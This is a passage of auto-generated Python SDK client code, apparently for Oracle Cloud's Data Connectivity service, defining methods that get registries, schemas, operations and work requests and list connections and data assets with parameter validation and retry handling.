None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="NetworkConnectivityStatus", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="NetworkConnectivityStatus", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_operation(self, registry_id, connection_key, schema_resource_name, operation_resource_name, **kwargs): """ Retrieves the details of operation with given resource name. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param str operation_resource_name: (required) The opeartion resource name used for retrieving the details of operation. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Operation` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_operation.py.html>`__ to see an example of how to use get_operation API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/operations/{operationResourceName}" method = "GET" operation_name = "get_operation" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_operation got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name, "operationResourceName": operation_resource_name } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Operation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Operation", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_registry(self, registry_id, **kwargs): """ Gets a Data Connectivity Management Registry by identifier :param str registry_id: (required) The registry Ocid. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Registry` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_registry.py.html>`__ to see an example of how to use get_registry API. """ resource_path = "/registries/{registryId}" method = "GET" operation_name = "get_registry" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_registry got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="Registry", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="Registry", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_schema(self, registry_id, connection_key, schema_resource_name, **kwargs): """ Retrieves a schema that can be accessed using the specified connection. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Schema` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_schema.py.html>`__ to see an example of how to use get_schema API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}" method = "GET" operation_name = "get_schema" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_schema got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Schema", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Schema", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_type(self, registry_id, type_key, **kwargs): """ This endpoint retrieves dataAsset and connection attributes from DataAssetRegistry :param str registry_id: (required) The registry Ocid. :param str type_key: (required) key of the a specefic Type. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param list[str] fields: (optional) Specifies the fields to get for an object. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Type` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_type.py.html>`__ to see an example of how to use get_type API. """ resource_path = "/registries/{registryId}/types/{typeKey}" method = "GET" operation_name = "get_type" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "fields" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_type got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "typeKey": type_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi') } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Type", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="Type", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def get_work_request(self, work_request_id, **kwargs): """ Gets the status of the work request with the given ID. :param str work_request_id: (required) The ID of the asynchronous request. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.WorkRequest` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/get_work_request.py.html>`__ to see an example of how to use get_work_request API. """ resource_path = "/workRequests/{workRequestId}" method = "GET" operation_name = "get_work_request" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "get_work_request got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "workRequestId": work_request_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="WorkRequest", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, response_type="WorkRequest", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_connection_validations(self, registry_id, **kwargs): """ Retrieves a list of connection validations within the specified registry. :param str registry_id: (required) The registry Ocid. :param str key: (optional) Used to filter by the key of the object. :param str name: (optional) Used to filter by the name of the object. :param str identifier: (optional) Used to filter by the identifier of the object. :param list[str] fields: (optional) Specifies the fields to get for an object. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ConnectionValidationSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_connection_validations.py.html>`__ to see an example of how to use list_connection_validations API. """ resource_path = "/registries/{registryId}/connectionValidations" method = "GET" operation_name = "list_connection_validations" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "key", "name", "identifier", "fields", "page", "limit", "sort_by", "sort_order", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_connection_validations got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "key": kwargs.get("key", missing), "name": kwargs.get("name", missing), "identifier": kwargs.get("identifier", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ConnectionValidationSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ConnectionValidationSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_connections(self, registry_id, data_asset_key, **kwargs): """ Retrieves a list of all connections. :param str registry_id: (required) The registry Ocid. :param str data_asset_key: (required) Used to filter by the data asset key of the object. :param str name: (optional) Used to filter by the name of the object. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param list[str] fields: (optional) Specifies the fields to get for an object. :param str type: (optional) Type of the object to filter the results with. :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str favorites_query_param: (optional) If value is FAVORITES_ONLY, then only objects marked as favorite by the requesting user will be included in result. If value is NON_FAVORITES_ONLY, then objects marked as favorites by the requesting user will be skipped. If value is ALL or if not specified, all objects, irrespective of favorites or not will be returned. Default is ALL. Allowed values are: "FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL" :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ConnectionSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_connections.py.html>`__ to see an example of how to use list_connections API. """ resource_path = "/registries/{registryId}/connections" method = "GET" operation_name = "list_connections" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "name", "page", "limit", "fields", "type", "sort_by", "sort_order", "opc_request_id", "favorites_query_param" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_connections got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'favorites_query_param' in kwargs: favorites_query_param_allowed_values = ["FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL"] if kwargs['favorites_query_param'] not in favorites_query_param_allowed_values: raise ValueError( "Invalid value for `favorites_query_param`, must be one of {0}".format(favorites_query_param_allowed_values) ) query_params = { "dataAssetKey": data_asset_key, "name": kwargs.get("name", missing), "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "fields": self.base_client.generate_collection_format_param(kwargs.get("fields", missing), 'multi'), "type": kwargs.get("type", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "favoritesQueryParam": kwargs.get("favorites_query_param", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ConnectionSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="ConnectionSummaryCollection", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def list_data_assets(self, registry_id, **kwargs): """ Retrieves a list of all data asset summaries. :param str registry_id: (required) The registry Ocid. :param str page: (optional) For list pagination. The value for this parameter is the `opc-next-page` or the `opc-prev-page` response header from the previous `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param int limit: (optional) Sets the maximum number of results per page, or items to return in a paginated `List` call. See `List Pagination`__. __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine :param list[str] fields: (optional) Specifies the fields to get for an object. :param list[str] include_types: (optional) DataAsset type which needs to be listed while listing dataAssets :param str sort_by: (optional) Specifies the field to sort by. Accepts only one field. By default, when you sort by time fields, results are shown in descending order. All other fields default to ascending order. Sorting related parameters are ignored when parameter `query` is present (search operation and sorting order is by relevance score in descending order). Allowed values are: "id", "timeCreated", "displayName" :param str sort_order: (optional) Specifies sort order to use, either `ASC` (ascending) or `DESC` (descending). Allowed values are: "ASC", "DESC" :param str name: (optional) Used to filter by the name of the object. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param list[str] exclude_types: (optional) Types which wont be listed while listing dataAsset/Connection :param str favorites_query_param: (optional) If value is FAVORITES_ONLY, then only objects marked as favorite by the requesting user will be included in result. If value is NON_FAVORITES_ONLY, then objects marked as favorites by the requesting user will be skipped. If value is ALL or if not specified, all objects, irrespective of favorites or not will be returned. Default is ALL. Allowed values are: "FAVORITES_ONLY", "NON_FAVORITES_ONLY", "ALL" :param str folder_id: (optional) Unique key of the folder. :param list[str] endpoint_ids: (optional) Endpoint Ids used for data-plane APIs to filter or prefer specific endpoint. :param list[str] exclude_endpoint_ids: (optional) Endpoints which will be excluded while listing dataAssets :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataAssetSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/list_data_assets.py.html>`__ to see an example of how to use list_data_assets API. """ resource_path = "/registries/{registryId}/dataAssets" method = "GET" operation_name = "list_data_assets" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "page", "limit", "fields", "include_types", "sort_by", "sort_order", "name", "opc_request_id", "exclude_types", "favorites_query_param", "folder_id", "endpoint_ids", "exclude_endpoint_ids" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_data_assets got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["id", "timeCreated", "displayName"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'favorites_query_param' in kwargs: favorites_query_param_allowed_values = ["FAVORITES_ONLY", 